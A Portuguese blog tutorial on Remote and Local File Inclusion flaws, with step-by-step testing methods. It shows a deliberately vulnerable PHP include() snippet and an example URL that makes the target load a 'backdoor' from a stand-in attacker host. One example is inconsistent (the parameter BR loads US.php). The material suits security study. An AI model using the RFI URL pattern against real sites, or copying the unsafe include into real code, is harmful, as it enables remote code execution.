Vulnerabilidades de Remote/Local File Inclusion (RFI / LFI)

Muitas linguagens de scripts suportam o uso de inclusão de arquivos. Esta facilidade permite os desenvolvedores colocar componentes de códigos reusáveis em arquivos separados e inclui-los dentro do código com a função específica quando eles precisarem. O código dentro do arquivo incluído é interpretado como se ele fosse inserido no local da função de inclusão.

Remote File Inclusion (RFI)

A linguagem PHP é particularmente suscetível a vulnerabilidades de inclusão de arquivos porque a sua função include() pode aceitar um caminho remoto. Esta tem sido a base de inúmeras vulnerabilidades em aplicações PHP.

Considere um aplicativo que forneça conteúdo diferente para pessoas em locais diferentes. Quando os usuários escolher a sua localização, este é comunicado ao servidor através de um parâmetro de solicitação, como mostrado abaixo:

https://www.xpto123teste.net/index.php?Country=BR

A aplicação processa o parâmetro Country da seguinte forma:

$country = $_GET['Country'];
include($country.'.php');

Isto causará o carregamento do arquivo US.php que está localizado no sistema de arquivos do servidor web. O conteúdo do arquivo é efetivamente copiado para dentro do index.php e é executado.

Um atacante pode explorar este comportamento de diferentes formas e a mais séria seria especificando uma URL externa ao local de inclusão do arquivo. A função include do PHP aceita esta entrada e então trás o arquivo especificado para executar o conteúdo. Consequentemente, um atacante pode construir um script malicioso contendo um conteúdo complexo e arbitrário, hospedar em um servidor web que ele controla e invoca-lo para ser executado através da aplicação vulnerável. Por exemplo:

https://www.xpto123teste.net/index.php?Country=http://www.sitedoatacante.org/backdoor

Local File Inclusion (LFI)

Em alguns casos, arquivos inclusos são carregados em uma base controlada pelo usuário, mas não é possível especificar a URL de um arquivo externo ao servidor. Por exemplo, se um dado que é controlado pelo usuário for passado para a função ASP Server.Execute, um atacante pode conseguir rodar um script arbitrário em ASP, desde que este script pertence à mesma aplicação como aquele que está chamando a função. Nesta situação, você poderá explorar o comportamento da aplicação e realizar algumas ações não autorizadas:

  • Pode haver arquivos executáveis no servidor que você não pode acessar através de uma rota normal. Por exemplo, todos os pedidos para o caminho /admin podem ser bloqueados por meio de controles de acesso do aplicativo. Se você pode manipular as funcionalidades sensíveis em uma página que você está autorizado a acessar, você pode ser capaz de obter acesso a esta página.
  • Podem existir recursos estáticos no servidor que são protegidos da mesma forma através de um acesso direto. Se você pode fazer com que eles sejam dinamicamente incluídos em outras páginas da aplicação, a execução do ambiente simplesmente copia o conteúdo estático e inclui em suas respostas.

Achando vulnerabilidades de inclusão de arquivos

Vulnerabilidades de inclusão de arquivos podem estar em qualquer item de onde venha dados do usuário. Eles são comuns em parâmetros de solicitações que especifica a linguagem ou localização. Eles também surgem quando o nome de um arquivo do servidor é passado explicitamente como parâmetros.

Passo a passo

Para testar a Remote File Inclusion (RFI), siga os passos abaixo:

  1. Envie para cada parâmetro alvo uma URL de um servidor web que você controle e identifique qualquer solicitação que seja recebida do servidor alvo da aplicação;
  2. Se o primeiro teste falhar, tente enviar uma URL contendo um endereço de IP inexistente e identifique se ocorre timeout enquanto o servidor tenta se conectar;
  3. Se achar que a aplicação é vulnerável a inclusão de arquivo, construa um script malicioso usando as APIs da linguagem relativa.

Local File Inclusion (LFI) podem existir em uma gama de ambientes muito maior que o RFI. Para testar, siga estes passos:

  1. Envie o nome de um recurso executável conhecido da aplicação naquele mesmo servidor e identifique se ocorre alguma mudança no comportamento da aplicação;
  2. Envie o nome de um recurso estático conhecido no servidor e identifique se o seu conteúdo é copiado e incluído na resposta da aplicação;
  3. Se a aplicação for vulnerável a LFI, tente acessar qualquer funcionalidades sensível ou recurso que você não possa acessar diretamente através do servidor web.
  4. Teste se você pode acessar os arquivos em outros diretórios usando a técnica transversal.

Fonte: The Web Application Hacker’s Handbook – 2nd edition.

Sou bacharel em Sistemas de Informação pela Estácio de Sá (Alagoas), especialista em Gestão Estratégica da Tecnologia da Informação pela Univ. Gama Filho (UGF) e pós-graduando em Gestão da Segurança da Informação pela Univ. do Sul de Santa Catarina (UNISUL). Certificações que possuo: EC-Council CEH, CompTIA (Security+, CySA+ e Pentest+), EXIN (EHF e ISO 27001), MCSO, MCRM, ITIL v3. Tenho interesse por todas as áreas da informática, mas em especial em Gestão e Governança de TI, Segurança da Informação e Ethical Hacking.

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *